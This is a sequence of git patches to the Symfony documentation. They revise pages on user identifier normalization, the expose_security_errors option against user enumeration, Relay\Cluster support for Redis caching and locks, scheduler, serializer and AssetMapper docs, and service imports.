+trimming extra spaces. For example, Google considers the following email
+addresses equivalent: ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and
+``johndoe@gmail.com``. This is due to normalization rules that remove dots and
+lowercase the address.
+
+In enterprise environments, users might authenticate using different identifier
+formats, such as:
+
+* ``john.doe@acme.com``
+* ``acme.com\jdoe``
+* ``https://acme.com/+jdoe``
+* ``acct:jdoe@acme.com``
+
+Applying normalization (e.g. lowercasing, trimming, or unifying formats) helps
+ensure consistent identity resolution and prevents duplication caused by
+format differences.
+
+In Symfony applications, you can optionally pass a user identifier normalizer as
+the third argument to the ``UserBadge``. This callable receives the ``$userIdentifier``
+and must return a normalized string.
 
 .. versionadded:: 7.3
 
-    The support of the user identifier normalizer was introduced in Symfony 7.3.
+    Support for user identifier normalizers was introduced in Symfony 7.3.
 
-For instance, the example below uses a normalizer that converts usernames to a normalized, ASCII-only, lowercase format,
-suitable for consistent comparison and storage.
+For instance, the example below uses a normalizer that converts usernames to
+a normalized, ASCII-only, lowercase format suitable for consistent comparison
+and storage::
 
     // src/Security/NormalizedUserBadge.php
     namespace App\Security;
@@ -319,33 +337,12 @@ suitable for consistent comparison and storage.
         }
     }
 
-.. note::
-
-    For example, Google treats the following email addresses as equivalent:
-    ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and ``johndoe@gmail.com``.
-    This is because Google applies normalization rules that remove dots
-    and convert the address to lowercase (though behavior varies across services).
-
-.. note::
-
-    In enterprise environments, a user may authenticate using different formats
-    of their identifier, such as:
-
-    - ``john.doe@acme.com``
-    - ``acme.com\jdoe``
-    - ``https://acme.com/+jdoe``
-    - ``acct:jdoe@acme.com``
-
-    Applying normalization (e.g., trimming, lowercasing, or format unification)
-    helps ensure consistent identity recognition across systems and prevents
-    duplicates caused by format variations.
-
 User Credential
 ~~~~~~~~~~~~~~~
 
-The user credential is used to authenticate the user i.e. to verify
+The user credential is used to authenticate the user; that is, to verify
 the validity of the provided information (such as a password, an API token,
-or other custom credentials).
+or custom credentials).
 
 The following credential classes are supported by default:
 

From 7dfeaba1252a9b2d50280f667c87cad7a7e390dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 10:45:42 +0200
Subject: [PATCH 5687/5766] Fixed a minor RST syntax issue

---
 setup/_update_dep_errors.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/_update_dep_errors.rst.inc b/setup/_update_dep_errors.rst.inc
index 49ae97067e4..5dc7e6745bc 100644
--- a/setup/_update_dep_errors.rst.inc
+++ b/setup/_update_dep_errors.rst.inc
@@ -24,7 +24,7 @@ versions of other libraries. Check your error message to debug.
 Another issue that may happen is that the project dependencies can be installed
 on your local computer but not on the remote server. This usually happens when
 the PHP versions are different on each machine. The solution is to add the
-`platform`_ config option to your `composer.json` file to define the highest
+`platform`_ config option to your ``composer.json`` file to define the highest
 PHP version allowed for the dependencies (set it to the server's PHP version).
 
 .. _`platform`: https://getcomposer.org/doc/06-config.md#platform

From ece1723cd9f4a3bf908159742444cd8c12ae5971 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 10:46:47 +0200
Subject: [PATCH 5688/5766] Fixed a minor RST syntax issue

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 3362f4cc2db..23dd8d948a1 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -222,7 +222,7 @@ Available Options
 
 .. versionadded:: 7.1
 
-    The option `sentinel_master` as an alias for `redis_sentinel` was introduced
+    The option ``sentinel_master`` as an alias for ``redis_sentinel`` was introduced
     in Symfony 7.1.
 
 .. note::

From fa9df566b994fe1ee54f851e087f2bdf0a4b30b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 07:54:14 +0200
Subject: [PATCH 5689/5766] [Security] Fixed a code example

---
 security/custom_authenticator.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index ed22ab96d19..fd7fa0b139e 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -300,14 +300,13 @@ and storage::
     namespace App\Security;
 
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
-    use Symfony\Component\String\UnicodeString;
     use function Symfony\Component\String\u;
 
     final class NormalizedUserBadge extends UserBadge
     {
         public function __construct(string $identifier)
         {
-            $callback = static fn (string $identifier) => u($identifier)->normalize(UnicodeString::NFKC)->ascii()->lower()->toString();
+            $callback = static fn (string $identifier): string => u($identifier)->normalize(UnicodeString::NFKC)->ascii()->lower()->toString();
 
             parent::__construct($identifier, null, $callback);
         }
@@ -318,7 +317,7 @@ and storage::
 
     final class PasswordAuthenticator extends AbstractLoginFormAuthenticator
     {
-        // Simplified for brievety
+        // simplified for brevity
         public function authenticate(Request $request): Passport
         {
             $username = (string) $request->request->get('username', '');
@@ -331,7 +330,7 @@ and storage::
                 new NormalizedUserBadge($username),
                 new PasswordCredentials($password),
                 [
-                    //All other useful badges
+                    // all other useful badges
                 ]
             );
         }

From d923acb02ff743309fe3b2be2a69c95aee704928 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 08:43:53 +0200
Subject: [PATCH 5690/5766] [Security] Document the new
 `expose_security_errors` option

---
 reference/configuration/security.rst | 31 +++++++++++++++++++++++++++-
 1 file changed, 30 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c8609c20c9c..8bae363d9cf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -23,7 +23,8 @@ key in your application configuration.
 
 * `access_denied_url`_
 * `erase_credentials`_
-* `hide_user_not_found`_
+* `expose_security_errors`_
+* `hide_user_not_found`_ (deprecated)
 * `session_fixation_strategy`_
 
 **Advanced Options**:
@@ -71,11 +72,39 @@ after authentication::
    Since Symfony 7.3, ``eraseCredentials()`` methods are deprecated and are
    not called if they have the ``#[\Deprecated]`` attribute.
 
+expose_security_errors
+----------------------
+
+**type**: ``string`` **default**: ``'none'``
+
+.. deprecated:: 7.3
+
+    The ``expose_security_errors`` option was introduced in Symfony 7.3
+
+User enumeration is a common security issue where attackers infer valid usernames
+based on error messages. For example, a message like "This user does not exist"
+shown by your login form reveals whether a username exists.
+
+This option lets you hide some or all errors related to user accounts
+(e.g. blocked or expired accounts) to prevent this issue. Instead, these
+errors will trigger a generic ``BadCredentialsException``. The value of this
+option can be one of the following:
+
+* ``'none'``: hides all user-related security exceptions;
+* ``'account_status'``: shows account-related exceptions (e.g. blocked or expired
+  accounts) but only for users who provided the correct password;
+* ``'all'``: shows all security-related exceptions.
+
 hide_user_not_found
 -------------------
 
 **type**: ``boolean`` **default**: ``true``
 
+.. deprecated:: 7.3
+
+    The ``hide_user_not_found`` option was deprecated in favor of the
+    ``expose_security_errors`` option in Symfony 7.3.
+
 If ``true``, when a user is not found a generic exception of type
 :class:`Symfony\\Component\\Security\\Core\\Exception\\BadCredentialsException`
 is thrown with the message "Bad credentials".

From c1b44e71348da9b97d9a5aac119dfa9dc1507ac9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 10:16:02 +0200
Subject: [PATCH 5691/5766] [Cache][Lock] Add support for `Relay\Cluster` in
 docs

---
 components/cache/adapters/redis_adapter.rst | 32 +++++++++++++++++++--
 components/lock.rst                         | 10 +++++--
 2 files changed, 37 insertions(+), 5 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 9f29eae84e7..c0295b487a0 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -20,9 +20,9 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
-    ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
+    ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay``, ``\Relay\Cluster`` or ``\Predis``.
 
-This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
+This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_, `RelayCluster`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
 
@@ -48,6 +48,10 @@ as the second and third parameters::
         ?MarshallerInterface $marshaller = null
     );
 
+.. versionadded:: 7.3
+
+    Support for ``Relay\Cluster`` was introduced in Symfony 7.3.
+
 Configure the Connection
 ------------------------
 
@@ -226,11 +230,34 @@ Available Options
 ``ssl`` (type: ``array``, default: ``null``)
     SSL context options. See `php.net/context.ssl`_ for more information.
 
+``relay_cluster_context`` (type: ``array``, default: ``[]``)
+    Defines configuration options specific to ``\Relay\Cluster``. For example, to
+    user a self-signed certificate for testing in local environment::
+
+        $options = [
+            // ...
+            'relay_cluster_context' => [
+                // ...
+                'stream' => [
+                    'verify_peer' => false,
+                    'verify_peer_name' => false,
+                    'allow_self_signed' => true,
+                    'local_cert' => '/valkey.crt',
+                    'local_pk' => '/valkey.key',
+                    'cafile' => '/valkey.crt',
+                ],
+            ],
+        ];
+
 .. versionadded:: 7.1
 
     The option ``sentinel_master`` as an alias for ``redis_sentinel`` was introduced
     in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    The ``relay_cluster_context`` option was introduced in Symfony 7.3.
+
 .. note::
 
     When using the `Predis`_ library some additional Predis-specific options are available.
@@ -359,6 +386,7 @@ Supports key rotation, ensuring secure decryption with both old and new keys::
 .. _`RedisArray`: https://github.com/phpredis/phpredis/blob/develop/arrays.md
 .. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/develop/cluster.md
 .. _`Relay`: https://relay.so/
+.. _`RelayCluster`: https://relay.so/docs/1.x/connections#cluster
 .. _`Predis`: https://packagist.org/packages/predis/predis
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
diff --git a/components/lock.rst b/components/lock.rst
index b8ba38c8fc7..2403763bd4a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -612,9 +612,9 @@ RedisStore
 ~~~~~~~~~~
 
 The RedisStore saves locks on a Redis server, it requires a Redis connection
-implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay`` or
-``\Predis`` classes. This store does not support blocking, and expects a TTL to
-avoid stalled locks::
+implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay``,
+``\Relay\Cluster`` or ``\Predis`` classes. This store does not support blocking,
+and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\RedisStore;
 
@@ -623,6 +623,10 @@ avoid stalled locks::
 
     $store = new RedisStore($redis);
 
+.. versionadded:: 7.3
+
+    Support for ``Relay\Cluster`` was introduced in Symfony 7.3.
+
 .. _lock-store-semaphore:
 
 SemaphoreStore

From e37d364158f6f8e3793b39b866cc59dde4aa48fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 08:11:20 +0200
Subject: [PATCH 5692/5766] Minor tweaks

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 4c5955a9470..f88d9e4f328 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -895,12 +895,12 @@ Modifying the Schedule at Runtime
 
 .. versionadded:: 6.4
 
-    Modifying the schedule at runtime and recalculating the heap was introduced in Symfony 6.4.
+    Support for modifying the schedule at runtime and recalculating the heap
+    was introduced in Symfony 6.4.
 
 When a recurring message is added to or removed from the schedule,
 the scheduler automatically restarts and recalculates the internal trigger heap.
-This allows dynamic control over scheduled tasks during runtime.
-code::
+This enables dynamic control of scheduled tasks at runtime::
 
     // src/Scheduler/DynamicScheduleProvider.php
     namespace App\Scheduler;
@@ -921,7 +921,7 @@ code::
 
         public function clearAndAddMessages(): void
         {
-            // Clear the current schedule (if any) and add new recurring messages
+            // clear the current schedule and add new recurring messages
             $this->schedule?->clear();
             $this->schedule?->add(
                 RecurringMessage::cron('@hourly', new DoActionMessage()),

From 9ef310b4f6201f1e43250ab7705a845c6353b5a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 08:35:11 +0200
Subject: [PATCH 5693/5766] Removed an unneeded versionadded directive

---
 scheduler.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index cec0fe25ede..de2e448f5af 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -864,11 +864,6 @@ code::
 Modifying the Schedule at Runtime
 ---------------------------------
 
-.. versionadded:: 6.4
-
-    Support for modifying the schedule at runtime and recalculating the heap
-    was introduced in Symfony 6.4.
-
 When a recurring message is added to or removed from the schedule,
 the scheduler automatically restarts and recalculates the internal trigger heap.
 This enables dynamic control of scheduled tasks at runtime::

From 47988f995bf4d180cbcb9cbe73d11692f49c4baa Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 29 May 2025 13:19:16 +0200
Subject: [PATCH 5694/5766] [Serializer] Fix YAML normalizationContext and
 denormalizationContext names

---
 serializer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 440494d0be1..cc514684bab 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -520,8 +520,8 @@ You can also specify a context specific to normalization or denormalization:
             attributes:
                 createdAt:
                     contexts:
-                        - normalizationContext: { datetime_format: 'Y-m-d' }
-                          denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 }
+                        - normalization_context: { datetime_format: 'Y-m-d' }
+                          denormalization_context: { datetime_format: !php/const \DateTime::RFC3339 }
 
     .. code-block:: xml
 
@@ -1371,7 +1371,7 @@ normalizers (in order of priority):
 
             $propertyInfo = new PropertyInfoExtractor([], [new PhpDocExtractor(), new ReflectionExtractor()]);
             $normalizers = [new ObjectNormalizer(new ClassMetadataFactory(new AttributeLoader()), null, null, $propertyInfo), new ArrayDenormalizer()];
-            
+
             $this->serializer = new Serializer($normalizers, [new JsonEncoder()]);
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`

From b356a5b6d86cf9a04cc3f438be00150c3ec437c5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 29 May 2025 13:36:20 +0200
Subject: [PATCH 5695/5766] [EventDispatcher] Document event name is optionnal

---
 components/event_dispatcher.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8cd676dd5fe..62a3707bb39 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -277,8 +277,9 @@ Dispatch the Event
 
 The :method:`Symfony\\Component\\EventDispatcher\\EventDispatcher::dispatch`
 method notifies all listeners of the given event. It takes two arguments:
-the ``Event`` instance to pass to each listener of that event and the name
-of the event to dispatch::
+the ``Event`` instance to pass to each listener of that event and optionally the
+name of the event to dispatch. If it's not defined, the class of the ``Event``
+instance will be used::
 
     use Acme\Store\Event\OrderPlacedEvent;
     use Acme\Store\Order;

From 65599c4cec1f2bc3661fad1fe9e3594146bd65f7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 29 May 2025 14:07:18 +0200
Subject: [PATCH 5696/5766] Replace get_class() calls by ::class

---
 components/options_resolver.rst                    | 2 +-
 components/property_info.rst                       | 2 +-
 components/yaml.rst                                | 2 +-
 console/verbosity.rst                              | 2 +-
 doctrine/associations.rst                          | 2 +-
 security/user_providers.rst                        | 2 +-
 service_container/service_subscribers_locators.rst | 6 +++---
 7 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 6b033a1b69c..35e443d3d94 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -922,7 +922,7 @@ can change your code to do the configuration only once per class::
         public function __construct(array $options = [])
         {
             // What type of Mailer is this, a Mailer, a GoogleMailer, ... ?
-            $class = get_class($this);
+            $class = $this::class;
 
             // Was configureOptions() executed before for this class?
             if (!isset(self::$resolversByClass[$class])) {
diff --git a/components/property_info.rst b/components/property_info.rst
index 6d57c1bb274..238da6396ab 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -131,7 +131,7 @@ class exposes public methods to extract several types of information:
         $propertyInfo->getProperties($awesomeObject);
 
         // Good!
-        $propertyInfo->getProperties(get_class($awesomeObject));
+        $propertyInfo->getProperties($awesomeObject::class);
         $propertyInfo->getProperties('Example\Namespace\YourAwesomeClass');
         $propertyInfo->getProperties(YourAwesomeClass::class);
 
diff --git a/components/yaml.rst b/components/yaml.rst
index 268ad5c5452..700ebd22379 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -296,7 +296,7 @@ You can make it convert to a ``DateTime`` instance by using the ``PARSE_DATETIME
 flag::
 
     $date = Yaml::parse('2016-05-27', Yaml::PARSE_DATETIME);
-    var_dump(get_class($date)); // DateTime
+    var_dump($date::class); // DateTime
 
 Dumping Multi-line Literal Blocks
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/console/verbosity.rst b/console/verbosity.rst
index f7a1a1e5e59..b822e3d7534 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -60,7 +60,7 @@ level. For example::
 
             // available methods: ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug()
             if ($output->isVerbose()) {
-                $output->writeln('User class: '.get_class($user));
+                $output->writeln('User class: '.$user::class);
             }
 
             // alternatively you can pass the verbosity level PHP constant to writeln()
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 2279d02a851..bb670eeee52 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -447,7 +447,7 @@ by adding JOINs.
         $category = $product->getCategory();
 
         // prints "Proxies\AppEntityCategoryProxy"
-        dump(get_class($category));
+        dump($category::class);
         die();
 
     This proxy object extends the true ``Category`` object, and looks and
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 7e9de36eff1..73b723faaaf 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -425,7 +425,7 @@ command will generate a nice skeleton to get you started::
         public function refreshUser(UserInterface $user): UserInterface
         {
             if (!$user instanceof User) {
-                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
+                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', $user::class));
             }
 
             // Return a User object after making sure its data is "fresh".
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 14cdb010152..d67384d50dd 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -36,7 +36,7 @@ to handle their respective command when it is asked for::
 
         public function handle(Command $command): mixed
         {
-            $commandClass = get_class($command);
+            $commandClass = $command::class;
 
             if (!$handler = $this->handlerMap[$commandClass] ?? null) {
                 return;
@@ -94,7 +94,7 @@ in the service subscriber::
 
         public function handle(Command $command): mixed
         {
-            $commandClass = get_class($command);
+            $commandClass = $command::class;
 
             if ($this->locator->has($commandClass)) {
                 $handler = $this->locator->get($commandClass);
@@ -328,7 +328,7 @@ attribute::
 
         public function handle(Command $command): mixed
         {
-            $commandClass = get_class($command);
+            $commandClass = $command::class;
 
             if ($this->handlers->has($commandClass)) {
                 $handler = $this->handlers->get($commandClass);

From cb8e2ff4f85289bf6be15ab40ad4736397f7fa0d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Mar 2025 11:13:12 +0100
Subject: [PATCH 5697/5766] =?UTF-8?q?[AssetMapper]=20Adding=20info=20that?=
 =?UTF-8?q?=20always=20*all*=20entrypoints=20are=20included=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 frontend/asset_mapper.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 061c4598bfa..bab55035271 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1081,8 +1081,10 @@ loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
 to *not* call ``parent()`` in the ``importmap`` block. Each page can only
 have *one* importmap, so ``importmap()`` must be called exactly once.
 
-If, for some reason, you want to execute *only* ``checkout.js``
+If you want to execute *only* ``checkout.js``
 and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
+In this case, still **both** files are added to ``<script type="importmap">``,
+but only ``checkout`` is executed (via ``<script type="module">import 'checkout';</script>``).
 
 Using a Content Security Policy (CSP)
 -------------------------------------

From 45c11e5a0f5690eb8a30cc87ba447e96939056ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 16:57:15 +0200
Subject: [PATCH 5698/5766] Tweaks and rewords

---
 frontend/asset_mapper.rst | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index be013514a8f..ca500a9686d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1095,16 +1095,19 @@ both ``app`` and ``checkout``:
         {{ importmap(['app', 'checkout']) }}
     {% endblock %}
 
-By passing both ``app`` and ``checkout``, the ``importmap()`` function will
-output the ``importmap`` and also add a ``<script type="module">`` tag that
-loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
-to *not* call ``parent()`` in the ``importmap`` block. Each page can only
-have *one* importmap, so ``importmap()`` must be called exactly once.
-
-If you want to execute *only* ``checkout.js``
-and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
-In this case, still **both** files are added to ``<script type="importmap">``,
-but only ``checkout`` is executed (via ``<script type="module">import 'checkout';</script>``).
+The ``importmap()`` function always includes the full import map to ensure all
+module definitions are available on the page. It also adds a ``<script type="module">``
+tag to load the specific JavaScript entry files you pass to it (in the example
+above, the ``app.js`` file *and* the ``checkout.js`` file).
+
+.. warning::
+
+    Do not call ``parent()`` inside the ``{% block importmap %}`` Twig block. Each
+    page can include only one import map, so ``importmap()`` must be called exactly once.
+
+If you want to execute *only* ``checkout.js`` (and not ``app.js``), call
+``{{ importmap('checkout') }}``. In this case, the full import map will still be
+included in the page, but only the ``checkout.js`` file will actually be loaded.
 
 Using a Content Security Policy (CSP)
 -------------------------------------

From f6e1f25d940ee3b0df905a7bf2336826f4a41dff Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Fri, 30 May 2025 07:12:22 +0200
Subject: [PATCH 5699/5766] fix directive

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 8bae363d9cf..ef7247e330e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -77,7 +77,7 @@ expose_security_errors
 
 **type**: ``string`` **default**: ``'none'``
 
-.. deprecated:: 7.3
+.. versionadded:: 7.3
 
     The ``expose_security_errors`` option was introduced in Symfony 7.3
 

From 8f5409ff0cb84bc433d385a5c8834452e262aecd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 May 2025 08:02:24 +0200
Subject: [PATCH 5700/5766] Fix a code sample with two PHP classes

---
 security/custom_authenticator.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index fd7fa0b139e..4efe67548a5 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -312,6 +312,8 @@ and storage::
         }
     }
 
+::
+
     // src/Security/PasswordAuthenticator.php
     namespace App\Security;
 

From efffcc840639f6a52dce5ec5d1c981688be9f1db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 May 2025 08:40:20 +0200
Subject: [PATCH 5701/5766] Tweaks

---
 security/custom_authenticator.rst | 52 +++++++++++++++++++++----------
 1 file changed, 36 insertions(+), 16 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 5f86f500f1b..365d4bd8f1d 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -1,19 +1,28 @@
 How to Write a Custom Authenticator
 ===================================
 
-Symfony comes with :ref:`many authenticators <security-authenticators>` and
-third party bundles also implement more complex cases like JWT and oAuth
-2.0. However, sometimes you need to implement a custom authentication
-mechanism that doesn't exist yet or you need to customize one. In such
-cases, you can use the ``make:security:custom`` command to create your own
-authenticator.
-
-Authenticators should implement the
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
-You can also extend
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
-which has a default implementation for the ``createToken()``
-method that fits most use-cases::
+Symfony comes with :ref:`many authenticators <security-authenticators>`, and
+third-party bundles also implement more complex cases like JWT and OAuth 2.0.
+However, sometimes you need to implement a custom authentication mechanism
+that doesn't exist yet, or you need to customize an existing one.
+
+To save time, you can install `Symfony Maker`_ and let Symfony generate a new
+authenticator by running the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console make:security:custom
+
+      What is the class name of the authenticator (e.g. CustomAuthenticator):
+      > ApiKeyAuthenticator
+
+      updated: config/packages/security.yaml
+      created: src/Security/ApiKeyAuthenticator.php
+
+      Success!
+
+Open the ``src/Security/ApiKeyAuthenticator.php`` file created by this command,
+and you'll find something like the following::
 
     // src/Security/ApiKeyAuthenticator.php
     namespace App\Security;
@@ -78,13 +87,23 @@ method that fits most use-cases::
         }
     }
 
+Authenticators must implement the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
+You can also extend
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
+which provides a default implementation of the ``createToken()`` method suitable
+for most use cases.
+
 .. tip::
 
-    If your custom authenticator is a login form, you can extend from the
+    If your custom authenticator is a login form, consider extending
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead to make your job easier.
+    to simplify your implementation.
 
-The authenticator can be enabled using the ``custom_authenticators`` setting:
+Custom authenticators must be explicitly enabled in the security configuration
+using the ``custom_authenticators`` setting of your firewall(s). If you used the
+``make:security:custom`` command, this configuration is already updated, but you
+should review it:
 
 .. configuration-block::
 
@@ -390,4 +409,5 @@ authenticator methods (e.g. ``createToken()``)::
         }
     }
 
+.. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`session storage flooding`: https://symfony.com/blog/cve-2016-4423-large-username-storage-in-session

From f20060c5c64ece054fc10fa08cb60a5f645a939e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=93=D1=80=D0=B8=D0=B3=D0=BE=D1=80=D0=B8=D0=B9?=
 <grin180898@mail.ru>
Date: Sat, 3 Aug 2024 19:11:42 +1200
Subject: [PATCH 5702/5766] Update import.rst

It's better to use imports statements only in the services.yaml file.
The following explains that.
---
 service_container/import.rst | 26 ++++++++++++++++++++++----
 1 file changed, 22 insertions(+), 4 deletions(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index d5056032115..8db56c8a79e 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -138,10 +138,28 @@ as in the above example, the ``App\`` definition creates services for classes
 found in ``../src/*``. If your imported file defines services for those classes
 too, they will be overridden.
 
-A possible solution for this is to add the classes and/or directories of the
-imported files in the ``exclude`` option of the ``App\`` definition. Another
-solution is to not use imports and add the service definitions in the same file,
-but after the ``App\`` definition to override it.
+There are exactly three possible solutions in order services not to get overriden:
+1. Include the file with ``App\`` statement in the ``imports`` as the first element.
+In order to the fact that the ``imports`` statement not override existing services, it checks if the services exists,
+also take into account that the last element of the ``imports`` has the highest priority and will be executed first,
+having included ``App\`` as a first element of ``imports`` (with the lowest priority) it will be imported in the end.
+And being the last import element it will only add not existing services in the container.
+2. Include the path to the service in the ``exclude`` section.
+3. Write service definitions down the ``App\`` statement to override it
+
+It's recommended to use the 1st approach to define services in the container
+Using the first approach the whole ``services.yaml`` file will look the foolowing way:
+
+.. configuration-block::
+    .. code-block:: yaml
+    ###> imports are loaded first (imports not overrides existing services) ###
+    imports:
+        -   resource: 'services_yaml/resource_services.yaml'    # PRIORITY 1 (last) (contains App\ with resource statement)
+        -   resource: 'services_yaml/services/'                 # PRIORITY 2
+        -   resource: 'services_yaml/parameters/'               # PRIORITY 3 (first)
+
+    ###> then services.yaml (what below overrides imports) ###
+    ###>... it's better to use only imports
 
 .. include:: /components/dependency_injection/_imports-parameters-note.rst.inc
 

